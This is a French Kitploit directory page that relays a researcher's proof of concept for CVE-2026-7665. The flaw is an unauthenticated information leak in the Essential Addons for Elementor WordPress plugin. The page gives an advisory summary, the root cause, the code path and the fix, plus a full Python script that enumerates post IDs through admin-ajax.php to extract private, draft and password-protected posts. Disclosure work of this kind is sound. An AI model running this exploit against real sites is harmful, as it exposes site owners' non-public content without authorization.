Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-7665 — Preuve de concept d'exploitation pour CVE-2026-7665, une divulgation d'informations non authentifiée dans Essential Addons for Elementor, permettant l'extraction de publications WordPress privées, de brouillons et protégées par mot de passe. | Kitploit
Outils/GitHubGitHub/anirudhmakkar/cve-2026-7665
Analyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubanirudhmakkar/cve-2026-7665

cve-2026-7665

Preuve de concept d'exploitation pour CVE-2026-7665, une divulgation d'informations non authentifiée dans Essential Addons for Elementor, permettant l'extraction de publications WordPress privées, de brouillons et protégées par mot de passe.

Voir le dépôt
14il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-7665 — Divulgation d'informations non authentifiée dans Essential Addons for Elementor

ChampDétail
ID CVECVE-2026-7665
SévéritéMoyen
Score CVSS5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Plugin concernéEssential Addons for Elementor
Versions affectées≤ 6.6.4
Installations actives1 000 000+
CVE attribué parWordfence (CNA)
DivulguéJuin 2026
ChercheurAnirudh Makkar

Résumé

Le gestionnaire AJAX ajax_load_more dans Essential Addons for Elementor ne vérifiait pas la visibilité des articles avant de renvoyer leur contenu. Cela permettait à des attaquants non authentifiés de lire les articles WordPress privés, protégés par mot de passe et brouillons en émettant une requête wp-admin/admin-ajax.php spécialement conçue — aucune authentification ou nonce requis.


Détails de la vulnérabilité

Cause racine

Le plugin enregistre un gestionnaire sur le hook d'action wp_ajax_nopriv_eael_post_grid_load_more, le rendant accessible aux visiteurs non authentifiés. Lorsque ce gestionnaire exécute une WP_Query pour récupérer les articles pour la fonctionnalité de pagination « load more », il n'appelle pas current_user_can('read_post', $post_id) ni ne vérifie get_post_status() par rapport aux capacités de l'utilisateur demandeur.

Le noyau de WordPress s'appuie sur les plugins pour appliquer l'autorisation au niveau des articles dans les gestionnaires AJAX — il ne le fait pas automatiquement. L'absence de cette vérification signifie que le gestionnaire renvoie le contenu complet des articles indépendamment des paramètres de visibilité.

Chemin de code concerné

root@kitploit:~
wp-admin/admin-ajax.php
  → do_action('wp_ajax_nopriv_eael_post_grid_load_more')
    → Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
      → WP_Query([
            'post_status' => ['publish', 'private', 'draft'],  // tous les statuts retournés
            ...
        ])
      → [renvoie le contenu complet de l'article sans vérification d'autorisation]

Impact

Un attaquant non authentifié peut énumérer et lire :

  • Articles privés (destinés uniquement aux utilisateurs connectés)
  • Articles protégés par mot de passe (sans connaître le mot de passe)
  • Articles brouillons (contenu non publié)

Cela peut exposer du contenu métier sensible, des annonces non publiées, des documents internes publiés en tant qu'articles WordPress, ou tout autre contenu non public géré via l'éditeur WordPress.


Preuve de concept

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4

Usage: python3 poc.py https://target.example.com [post_id]

Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""

import requests
import sys
import json

def check_target(base_url):
    """Verify the plugin is present."""
    resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
    return resp.status_code != 404

def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
    url = f"{base_url}/wp-admin/admin-ajax.php"
    data = {
        "action":    "eael_post_grid_load_more",
        "widget_id": widget_id,
        "page_id":   page_id,
        "post_id":   str(post_id),
        "page":      "2",
    }
    try:
        resp = requests.post(url, data=data, timeout=10)
        if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
            return resp.text
    except requests.RequestException:
        pass
    return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
        sys.exit(1)

    target   = sys.argv[1].rstrip("/")
    start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end_id   = int(sys.argv[3]) if len(sys.argv) > 3 else 50

    print(f"[*] Target: {target}")
    print(f"[*] Probing post IDs {start_id}–{end_id}")

    if not check_target(target):
        print("[!] Plugin not detected — target may be patched or not running EAEL")

    found = 0
    for pid in range(start_id, end_id + 1):
        result = fetch_private_post(target, pid)
        if result:
            found += 1
            print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
            print(result[:300])
            print("..." if len(result) > 300 else "")

    print(f"\n[*] Done. {found} post(s) with exposed content found.")

if __name__ == "__main__":
    main()

Correctif

Mettez à jour Essential Addons for Elementor vers la version 6.6.5 ou ultérieure.

Le correctif ajoute une vérification current_user_can('read_post', $post_id) à l'intérieur du gestionnaire load-more avant d'inclure tout article dans les résultats de la requête.


Références

  • Avis de Wordfence
  • NVD — CVE-2026-7665
  • Journal des modifications d'Essential Addons for Elementor

Signalé par Anirudh Makkar · LinkedIn

Télécharger l’outil